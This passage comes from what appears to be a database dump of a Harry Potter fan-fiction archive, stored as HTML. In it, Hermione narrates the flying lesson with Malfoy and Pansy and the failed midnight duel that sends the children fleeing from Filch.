wouldn&#8217;t tell.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And speaking of\nMalfoy, it seemed he was causing even more trouble. &#8220;Look, it&#8217;s that stupid\nthing, Longbottom&#8217;s Gram sent him.&#8221; He held a small round object in his hand\nnow.&nbsp; Hermione recognized it immediately\nas a rememberall.&nbsp; She had read all about\nthem in &#8220;101 Magical Objects to Make Your Everyday Life Easier.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry Potter\napproached Malfoy slowly, but deliberately. &#8220;Give that here, Malfoy.&#8221; He spoke\nsoftly, but there was a notable trace of anger in his voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione did a\ndouble take.&nbsp; Harry Potter spoke!&nbsp; He was actually going to stick up for Neville\nand on his own, without Ron&#8217;s help.&nbsp; From\nthe stunned silence that followed the statement, it seemed that everyone else\nwas equally shocked at what was occurring.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy, however,\nwould not be so easily swayed.&nbsp; He hopped\non one of the school broomsticks and took off into the air.&nbsp; When he was level with the top of a nearby\ntree he called, &#8220;Come and get it Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone turned\nfrom Malfoy to Harry.&nbsp; Without\nhesitation, he mounted his broomstick.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No!&#8221; Hermione\nshouted.&nbsp; She knew as well as everyone\nelse that Harry couldn&#8217;t fly.&nbsp; What if he\ngot hurt like Neville, or worse?&nbsp;&nbsp; She\nhad to stop him. &#8220;Madam Hooch told us not to move.&nbsp; You&#8217;ll get us all into trouble,&#8221; she added\nquickly thinking that he&#8217;d back down if he thought his friends might be\npunished for his actions.&nbsp; But it didn&#8217;t\nwork.&nbsp; Harry was soon in the air.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s mouth\ndropped, Harry Potter was not only flying, but he was flying well.&nbsp; Her thoughts drifted back to the speed and\ngrace of the quidditch players in &#8220;Quidditch Throughout the Ages,&#8221; and saw the\nsame sort of natural skill in Harry&#8217;s flying. It was like he belonged in the\nair.&nbsp; How could he have been raised by\nmuggles and be <i>that </i>good?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look at him go!&#8221;\nLavender squealed as they watched Harry dart towards Malfoy. &#8220;He&#8217;s\namazing.&nbsp; The best flyer I&#8217;ve ever seen.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\ntowards the knot of Slytherins nearby. Pansy was fingering her wand.&nbsp; Was she going to do the same thing to Harry\nthat she had done to Neville?&nbsp; It was\nsupposed to be impossible to curse most brooms, but the school brooms were\nprobably so old that they had lost most of their protection.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ever so casually,\nHermione pulled her wand from her pocket.&nbsp;\nEveryone had their eyes on the midair duel between Draco and Harry.&nbsp; Now Harry was diving expertly, about to catch\nthe rememberall and land safely.&nbsp; Pansy&#8217;s\neyes glinted malevolently as she raised her wand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Expelliarmus,&#8221;\nshe whispered.&nbsp; Her disarming charm\nwasn&#8217;t powerful enough to send Pansy&#8217;s wand souring through the air like it was\nsupposed to, mainly because she had whispered it, but it did the trick.&nbsp; Pansy&#8217;s wand was knocked from her hand as if\nsomeone had bumped into her.&nbsp; It gave\nHarry plenty of time to get down to the ground without any interference.&nbsp; Everyone was applauding and slapping Harry on\nthe back until&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry Potter!&#8221;\nIt was the unmistakable voice of Deputy Headmistress Minerva McGonagall.&nbsp; Her outraged cry was so unexpected it caused\nHermione and several other students to jump.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Apparently she\nhad seen everything and the look in her eyes told everyone that she was far\nfrom pleased.&nbsp; Despite protests from all\nof the Gryffindors present, she dragged Harry off into the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You Jerk!&#8221;\nHermione whirled on Malfoy in an instant. &#8220;This is all your fault.&nbsp; You should have gotten punished too!&nbsp; And you,&#8221; she said spitefully to Pansy. &#8220;I\nknow what you were up to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And what are you\ngoing to do about it Hermione,&#8221; Pansy retorted snidely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione raised\nher hand to slap the girl but then she heard the distant blow of a whistle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That will be\nenough from you two.&#8221; Madam Hooch had returned. &#8220;Back to your brooms, all of\nyou.&nbsp; This lesson isn&#8217;t over.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stormed\nback to her spellotaped broom, fuming and well aware of Pansy&#8217;s silent giggles\nbehind her.&nbsp; Her mind was already racing\nto form a plan to get her back.&nbsp; To her great\ndelight, the opportunity came just before the end of the lesson.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As it turned out,\nflying wasn&#8217;t nearly as difficult as she thought it would be.&nbsp; Twenty minutes into the lesson, Madam Hooch\nhad them hovering slowly over the courtyard practicing altitude control.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was high\nin the air now.&nbsp; The wind was much\nstronger up here and she used this as a chance to practice controlling her\nbroom.&nbsp; She was getting very good at it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy Parkinson\nshot up to where she was. &#8220;Ooo, Hermione, better not fly too high.&nbsp; You may end up just like fat crybaby\nNeville,&#8221; she shouted over the wind.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re a snake;\nyou and all your Slytherin friends.&nbsp; I\ndon&#8217;t know how you did it but I saw you cast some sort of spell on Neville&#8217;s\nbroom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The great\nHermione Granger doesn&#8217;t know something?&#8221; Pansy teased.&nbsp; She moved her broomstick towards Hermione&#8217;s.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Afraid she was\ngoing to try something, Hermione whipped out her wand instinctively.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy laughed but\nstopped moving. &#8220;You are a big baby aren&#8217;t you?&nbsp;\nJust like all the Gryffindors.&nbsp; If\nI&#8217;d wanted to knock you off that broom, I&#8217;d have done it a long time ago.&nbsp; I was just going to tell you how I got\nNeville, seeing as how I know you can&#8217;t bare not to know something.&#8221; She was\nstill shouting over the wind.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This gave\nHermione an idea.&nbsp; She muttered,\n&#8220;sonorous,&#8221; before putting her wand away.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy laughed\nagain, completely mishearing Hermione&#8217;s spell. &#8220;Ooh, aren&#8217;t we polite dear, but\nyou don&#8217;t have to say sorry to me.&nbsp; It&#8217;s\nnot your fault you&#8217;re a nothing little muggle-born half-breed.&nbsp; And as for Longbottom, I didn&#8217;t have to\nenchant his broom, all I had to do was put a hovering charm on him, he was such\na nervous little baby, I knew he&#8217;d immediately grab onto his broom and everyone\nwould think he just couldn&#8217;t control it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re get\nyours,&#8221; Hermione said scowling.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You wish.&#8221; Pansy\ngave her a wicked grin. &#8220;Like anyone would ever believe you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just then they\nheard the familiar whistle of Madam Hooch calling them back to the ground.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione made\nsure she went down behind Pansy.&nbsp; She\npulled out her wand again, making sure to keep one hand firmly on her\nbroom.&nbsp; &#8220;Quietus,&#8221; she muttered as she\npointed the wand at Pansy&#8217;s back.&nbsp;\nHopefully that did the trick.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s it for\ntoday&#8217;s lesson and Ms. Parkinson, come with me,&#8221; Madam Hooch had a rare look of\npure anger in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy was\ncompletely surprised. &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Madam Hooch\ngrabbed her by the arm and dragged her towards the castle.&nbsp; &#8220;Of all the nerve, casting a spell on\nNeville, you should be ashamed of yourself.&nbsp;\nWe&#8217;ll see how funny you think it is to hurt another student when you&#8217;re\nserving a full week of detention in the hospital wing; and 50 points from\nSlytherin.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why&#8217;d she have\nto open her big mouth and shout about it for the whole class to hear?&#8221; Malfoy\nsaid angrily.&nbsp; &#8220;That stupid girl.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Gryffindors\nwere all laughing. &#8220;And to think she would have gotten away with it if she&#8217;d\njust kept her mouth shut instead of gloating about it to Hermione,&#8221; Ron\nsaid.&nbsp; &#8220;Guess she didn&#8217;t know the wind\nwould carry her voice like that.&nbsp; I can&#8217;t\nwait to tell Harry.&nbsp; Maybe McGonagall&#8217;ll\nease up on his punishment when she finds out the whole story.&#8221; The other\nGryffindors nodded in agreement.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione opened\nher mouth to tell them that it was she who had tricked Pansy using the sonorous\nspell that she&#8217;d learned from &#8220;Magical Theory&#8221; but once again no one was\nlistening to her.&nbsp; She sighed; no one\never listened to the mouthy know-it-all.&nbsp;\nShe had single handedly saved Harry earlier and gotten revenge on Pansy\nand no one would ever know.&nbsp; Harry&#8217;s\nreckless heroism had earned him, if possible, even more fame among the\nstudents, but her cleaver spell work had profited her nothing.&nbsp; She was still just as unpopular and just as\ninvisible.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bloody unfair,&#8221;\nshe sighed as she walked into the castle a few feet behind the rest of the\nGryffindors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 4, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:&nbsp; </b>Hermione&#8217;s outing with Harry, Ron and\nNeville where they first get to meet our favorite three headed dog.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There were many\nthings in the magical world that Hermione was grateful for, and one of them\nhappened to be the silencing charm.&nbsp; She\nhad learned very quickly that Lavender&#8217;s snores rivaled that of a jet\nengine.&nbsp; Parvati could sleep through the\nthird world war so it never bothered her, but after reading &#8220;Fantastic Beasts\nand Where to Find Them,&#8221; Hermione was sure that\nLavender&#8217;s snores were far worse than the maddening song of the African Fwooper.&nbsp; So she\nquickly learned how to cast a silencing spell and it had worked wonders for\ntheir sleeping arrangements, so long as Lavender never found out.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Still, this\nparticular night, Hermione couldn&#8217;t sleep even with the silencing charm\nblocking Lavender&#8217;s snores.&nbsp; The events\nof the day were still rolling through her mind.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As it had turned\nout, Harry Potter hadn&#8217;t gotten in trouble for his antics in the\ncourtyard.&nbsp; Professor McGonagall had\ninstead gotten special permission from the headmaster for Harry to join the\nhouse Quidditch team as seeker.&nbsp; He needed\nspecial permission to do this because first years weren&#8217;t even allowed to have\na broom let alone join their house teams.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nback to Pansy&#8217;s words on the train ride, <i>&#8221;</i><i>&#8230;and\njust because of some fluke when he was a baby, he&#8217;ll probably get special\ntreatment from the professors.&#8221;</i> She hated to admit it, but Pansy was right.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsighed.&nbsp; She knew that she was\njealous.&nbsp; She was jealous of Harry Potter\nfor being so famous and so loved, and so happy while she was stuck being\ninvisible and miserable.&nbsp; Okay, so it\nwasn&#8217;t Harry&#8217;s fault that he was popular.&nbsp;\nHe hadn&#8217;t even known who he was until this year, right?&nbsp; So why did it bother her so much?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She rolled over\nin bed.&nbsp; It had to be what happened at\ndinner that night.&nbsp; It was then that she\nrealized how reckless and self-centered Harry and Ron really were.&nbsp; They had challenged Malfoy and one of his\ncronies to a wizard&#8217;s duel at midnight.&nbsp;\nHarry was going to break the one rule that Hogwarts professors,\nespecially McGonagall, held sacred: students were not to be out of bed after\ntheir curfew.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This was all\nRon&#8217;s fault, Hermione decided immediately.&nbsp;\nRon was Harry&#8217;s best friend and she could tell that he was constantly\npushing Harry in the wrong direction.&nbsp;\nHermione had watched as Ron, not Harry arranged the midnight wizard&#8217;s\nduel.&nbsp; He was just trying to ride Harry&#8217;s\ncoattails and what better way to do that then to push him into being the &#8220;hero&#8221;\nthat everyone expected him to be.&nbsp; Each\nharebrained scheme that Harry got away with made him more popular and that made\nRon more popular for being his best friend.&nbsp;\nAnd what did it matter to Ron if Harry finally got in trouble or hurt\nfor listening to him?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This stupid\nwizard&#8217;s duel, it was a trick and she knew it.&nbsp;\nMalfoy had no intention of going.&nbsp;\nHermione had overheard him and Pansy laughing about how they&#8217;d figure\nout a way to get Harry in trouble.&nbsp; She&#8217;d\ntried several times to talk them out of it, but they wouldn&#8217;t listen.&nbsp; Apparently the more popular Harry became, the\nmore unpopular she became.&nbsp; It was a\nterrible reality she only just beginning to face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She rolled over\nagain.&nbsp; <i>&#8220;So what if I&#8217;m bossy, I know\nI&#8217;m right.&nbsp; He shouldn&#8217;t be dong\nthis.&nbsp; He&#8217;ll get in trouble; Gryffindor\nwill get in trouble, and for what?&nbsp; So Harry and Ron can get just a bit more fame.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat up\nand looked at her watch; it was nearly time.&nbsp; She couldn&#8217;t sleep; not until she stopped\nthem.&nbsp; She climbed out of bed and pulled\na pink bathrobe over her nightgown.&nbsp; Then\nshe snuck quietly out the door and down the stairs to the common room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No sooner had she\nfound a seat in one of the large armchairs did she hear the sound of feet\ndescending the opposite stairway.&nbsp; It was\nRon and Harry.&nbsp; She was half hoping\nthey&#8217;d chickened out.&nbsp; Now she really was\ngoing to have to confront them.&nbsp; This\nwould definitely get ugly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They didn&#8217;t even\nnotice her as they walked towards the portal.&nbsp;\nSo she flicked on a lamp and called out to them. &#8220;I can&#8217;t believe you&#8217;re\ngoing to do this, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The look on Ron&#8217;s\nface was a mixture of anger and shock.&nbsp;\nHarry, as usual, was hard to read, but it almost seemed as if he\ncouldn&#8217;t believe he was doing this himself.&nbsp;\nPerhaps he felt guilty about breaking two school rules in one day.&nbsp; Maybe there was still a chance to talk him\nout of it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron started\nhissing at her to go to bed and soon they were arguing. &#8220;I almost told your\nbrother you know,&#8221; she countered.&nbsp; Ron\nknew that Percy had befriended the young witch and probably would have believed\nher if she told on them.&nbsp; In truth,\nHermione had never had any intentions on telling Percy; she just liked seeing\nRon squirm.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had made up\nhis mind. &#8220;Come on,&#8221; He told Ron as he pushed open the portal to the corridor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione followed\nafter them, jumbled thoughts swirling around her head.&nbsp; Why was it that no one ever listened to\nher?&nbsp; It was bad enough that she was\nconstantly fighting with this brainless git, Ron, but\nshe was beginning to notice that Harry always acted as if the only person that\nwas there was his best friend.&nbsp; He didn&#8217;t\nhave the decency to tell her off himself.&nbsp;\nRon did almost all his yelling for him.&nbsp;\nAt least Harry gave Malfoy the courtesy of speaking to him when he was\nmad at him.&nbsp; She was lucky if Harry told\nher to shove off.&nbsp; Did that make her even\nlower than Malfoy that Harry didn&#8217;t even waste words on her?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Can&#8217;t he tell\nthat I&#8217;m just worried about him?&nbsp; He\nshould be glad someone is worried about him, goodness knows Ron isn&#8217;t.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was still\narguing with Ron.&nbsp; &#8220;Go, away!&#8221; He told\nher for the second time.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What was the use,\nHarry wasn&#8217;t even listening.&nbsp; Why should\nshe even bother caring?&nbsp; If they lost\npoints for the house for this little stunt, maybe they wouldn&#8217;t be as popular\ntomorrow morning.&nbsp; She&#8217;d had enough of\nHarry Potter and Ron Weasley.&nbsp; She wasn&#8217;t\ngoing to lose anymore sleep over these two idiots. &#8220;All right, but I warned\nyou,&#8221; she said with a hiss. &#8220;You just remember what I said when you&#8217;re on the\ntrain home tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned on her\nheels to reenter the common room, but the portrait hole had swung shut and the\nGryffindor guardian, the Fat Lady, was gone.&nbsp;\nWithout their guardian in the picture, Hermione was trapped outside.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now what am I\ngoing to do?&#8221; she said with a sigh.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Behind her she\nheard Ron say, &#8220;That&#8217;s your problem,&#8221; as he and Harry started down the\ncorridor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood at\nthe portrait, fuming.&nbsp; She could stay and\nwait for the Fat Lady to return.&nbsp; It\nseemed the most logical thing to do, but then an idea hit her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was a very\ngood chance that Harry and Ron would get caught; she knew it.&nbsp; They&#8217;d get detention, or points taken, or\nsome sort of punishment, but if she were with them&#8230; she knew enough spells and\nsecrets about Hogwarts to keep them all out of trouble.&nbsp; She could see it now.&nbsp; They&#8217;d be walking down a hall, and Filch or\nhis cat Mrs. Norris would spot them.&nbsp;\nThen Hermione would use some clever trick to avoid getting caught.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Hermione that\nwas great,&#8221; </i>she imagined Harry saying after they narrowly avoided\ndetention. <i>&#8220;We&#8217;d have been caught if it wasn&#8217;t for your quick thinking.&nbsp; Ron and I would have never been able to do\nthat.&nbsp; You&#8217;re so amazing.&nbsp; I should never have listened to Ron and snuck\nout tonight anyway.&nbsp; You were right.&#8221;</i>\nShe smiled to herself.&nbsp; Perhaps it\nwouldn&#8217;t go quite that well but it was possible.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She spun on her\nheels and ran after them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m coming with\nyou,&#8221; she announced as she caught up with them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As expected, Ron\nstarted in on her. &#8220;You are not!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you think I&#8217;m\ngoing to stand out here and wait for Filch to catch me?&#8221; she asked him. &#8220;If he\nfinds all three of us&#8230;&#8221; she quickly made up a fake excuse. &#8220;I&#8217;ll tell him the\ntruth: that I was trying to stop you and you can back me up.&#8221; Hermione held\nback a smile as she watched Ron&#8217;s eyes grow with shock and surprise.&nbsp; She liked pushing this boy&#8217;s buttons.&nbsp; She wondered if that meant she had a sadistic\nside.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve got some\nnerve,&#8221; he sputtered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Another fight\nwould have ensued if Harry hadn&#8217;t shushed them both.&nbsp; &#8220;I heard something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They crept slowly\ntowards the noise. &#8220;Mrs. Norris?&#8221; Ron said breathlessly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As it turned out,\nthe noise was Neville&#8217;s soft snoring.&nbsp;\nHe&#8217;d been locked out of Gryffindor tower all night. <i>&#8220;Why can&#8217;t I have\nhim for a roommate?&#8221; </i>Hermione thought absentmindedly as Neville jerked\nawake, <i>&#8220;he doesn&#8217;t snore nearly as loud.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was a group of\nfour that now silently swept through the dark castle.&nbsp; Ron was fuming by now.&nbsp; Hermione was silently running through all the\nspells she could think of in anticipation of having to use one to get them out\nof a jam.&nbsp; Now that Neville was in the\ngroup, things could get tricky.&nbsp; He had a\ntendency of being clumsy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are we\ngoing?&#8221; Neville finally asked Hermione in a barely audible whisper as they\nheaded up a flight of stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron and Harry\nchallenged Malfoy to a wizards duel,&#8221; she explained quietly so that the others\ncouldn&#8217;t hear her, &#8220;but Malfoy isn&#8217;t really going to show up.&nbsp; Instead, Ron and Harry are going to get\ncaught out of bed after curfew and get us all in trouble.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh&#8230; I see&#8230; I\nthink.&#8221; Neville said slowly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They&#8217;d reached\nthe trophy room.&nbsp; It was the moment of\ntruth.&nbsp; Hermione sighed as she watched\nHarry preparing for Malfoy&#8217;s arrival.&nbsp;\nShe knew they wouldn&#8217;t have to wait long, and that it wouldn&#8217;t be Malfoy\narriving.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sure enough,\nafter several long minutes of waiting, they heard a noise in the other\nroom.&nbsp; It came so suddenly that Hermione\nalmost jumped out of her skin.&nbsp; It wasn&#8217;t\nFilch, it wasn&#8217;t Mrs. Norris, it was Filch <i>and </i>Mrs.\nNorris.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry started out\nthe room quickly and quietly with the others in tow.&nbsp; They could hear Filch urging Mrs. Norris\non.&nbsp; He was getting closer.&nbsp; Hermione began to think furiously.&nbsp; It was her time to shine, but how would she\nget the four of them out of this.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They were headed\ndown a long corridor full of suits of armor.&nbsp;\nThen it came to her.&nbsp; Hogwarts had\na lot of secret corridors and rooms, some of which still hadn&#8217;t been\ndiscovered, but she&#8217;d read about a few of the more well known ones in &#8220;Ancient\nMagical Buildings and the Secrets They Hold.&#8221;&nbsp;\nThis corridor had a secret passageway behind a suit of armor they could\nescape through.&nbsp; They were getting close\nto it.&nbsp; All she needed to do was get the\nothers to follow her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She tapped on\nNeville&#8217;s shoulder to get his attention but this was a big mistake.&nbsp; Neville was so jumpy that the moment he felt\nHermione&#8217;s touch he let out a squeal and started running.&nbsp; He tripped over Ron and they went toppling\ninto the suit of armor just before the one rumored to be concealing the\npassage.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione could\nhave killed him for his stupidity.&nbsp;\nInstead of successfully sneaking away and her being a hero, they were\nforced to make a mad dash down the hall.&nbsp;\nShe had no idea where they were going.&nbsp;\nIt seemed that Harry&#8217;s only plan was to get as far away from Filch as\npossible.&nbsp; At some point they went\nthrough another secret passageway behind a tapestry.&nbsp; Hermione was familiar with this one as well,\nbut she had long since abandoned her plans of saving the day.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They stopped near\ntheir charms classroom.&nbsp; Hermione had\nnever run so hard in her life and vaguely remembered why she hated gym at her\nformer school.&nbsp; She was in a very bad\nmood now.&nbsp; &#8220;I told you,&#8221; she started in\non Harry. &#8220;Malfoy tricked you.&nbsp; You\nrealize that don&#8217;t you?&nbsp; He was never\ngoing to meet you.&nbsp; Filch knew someone\nwas going to be in the trophy room.&nbsp;\nMalfoy must have tipped him off.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;This is the\npart where you say, &#8216;You&#8217;re right Hermione I should have listened to you,&#8217;&#8221; </i>she\nadded silently to herself, but she knew that wasn&#8217;t coming.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a\nlook that told her all too well that he knew she was dead right, but instead of\nadmitted it he turned to Ron and said, &#8220;Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;One of these\ndays, you&#8217;re going to have to speak to me, Harry Potter.&#8221; </i>Hermione thought.\n<i>&#8220;And it&#8217;ll be more than just to tell me to sod off.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was about to\nmentally tell off Harry some more but her thoughts were interrupted by the\nsudden appearance of Peeves the resident Hogwarts poltergeist.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Upon seeing the\nfoursome, he let out a squeal that was louder than the noise that Ron and\nNeville had made earlier when they crashed into the suit of armor. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut up, Peeves,\nplease,&#8221; Harry pleaded. &#8220;You&#8217;ll get us thrown out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Oh now he\nworries about getting thrown out.&#8221;</i> Hermione thought irritably.&nbsp; She knew how to handle the poltergeist.&nbsp;&nbsp; She&#8217;d read all about them in &#8220;Ghouls,\nTrolls, and Other Household Pests.&#8221;&nbsp; She\njust needed her wand.&nbsp; Hermione reached\ninside her bathrobe and realized for the first time that she hadn&#8217;t thought to\nbring her wand.&nbsp; She was about to ask\nHarry for his when Ron made the biggest mistake of the night.&nbsp; He tried to take a swipe at Peeves.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Oh here we\ngo!&#8221; </i>Hermione thought as Peeves began to sound the alarm.&nbsp; They took off down the hall again until they\nreached a locked door.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was trying\ndesperately to open it, but it was spelled shut. &#8220;We&#8217;re done for,&#8221; he said\nfrantically.&nbsp; &#8220;This is it.&#8221; They heard\nthe sound of footsteps coming closer and closer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was then that\nHermione realized that this was her chance.&nbsp;\nThis was the 